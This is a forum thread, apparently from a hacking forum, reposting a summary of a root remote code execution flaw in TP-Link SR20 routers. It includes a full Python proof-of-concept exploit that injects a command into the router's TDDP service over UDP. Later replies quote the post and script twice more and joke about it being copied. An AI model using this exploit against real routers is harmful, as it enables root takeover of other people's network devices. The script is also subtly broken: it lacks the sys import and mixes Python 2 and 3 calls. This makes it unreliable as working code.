[NEWS] Remote code execution as root from the local network on TP-Link SR20 routers

[Mizu]

The TP-Link SR20[1] is a combination Zigbee/ZWave hub and router, with a touchscreen for configuration and control. Firmware binaries are available here. If you download one and run it through binwalk, one of the things you find is an executable called tddp. Running arm-linux-gnu-nm -D against it shows that it imports popen(), which is generally a bad sign - popen() passes its argument directly to the shell, so if there's any way to get user controlled input into a popen() call you're basically guaranteed victory. That flagged it as something worth looking at, but in the end what I found was far funnier.

Source : https://mjg59.dreamwidth.org/51672.html

Exploit :

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
#
# Execute script as poc.py remoteaddr filename

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

 

[CROtheHacker]

The TP-Link SR20[1] is a combination Zigbee/ZWave hub and router, with a touchscreen for configuration and control. Firmware binaries are available here. If you download one and run it through binwalk, one of the things you find is an executable called tddp. Running arm-linux-gnu-nm -D against it shows that it imports popen(), which is generally a bad sign - popen() passes its argument directly to the shell, so if there's any way to get user controlled input into a popen() call you're basically guaranteed victory. That flagged it as something worth looking at, but in the end what I found was far funnier.

Source : https://mjg59.dreamwidth.org/51672.html

Exploit :

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
#
# Execute script as poc.py remoteaddr filename

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

Why dose this look like you coped this code lol :??: :kek: :monkas:

 

[Mizu]

The TP-Link SR20[1] is a combination Zigbee/ZWave hub and router, with a touchscreen for configuration and control. Firmware binaries are available here. If you download one and run it through binwalk, one of the things you find is an executable called tddp. Running arm-linux-gnu-nm -D against it shows that it imports popen(), which is generally a bad sign - popen() passes its argument directly to the shell, so if there's any way to get user controlled input into a popen() call you're basically guaranteed victory. That flagged it as something worth looking at, but in the end what I found was far funnier.

Source : https://mjg59.dreamwidth.org/51672.html

Exploit :

#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
#
# Execute script as poc.py remoteaddr filename

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

Why dose this look like you coped this code lol :??: :kek: :monkas:

I mention the source :thinking:

 

[qxeen]

interesting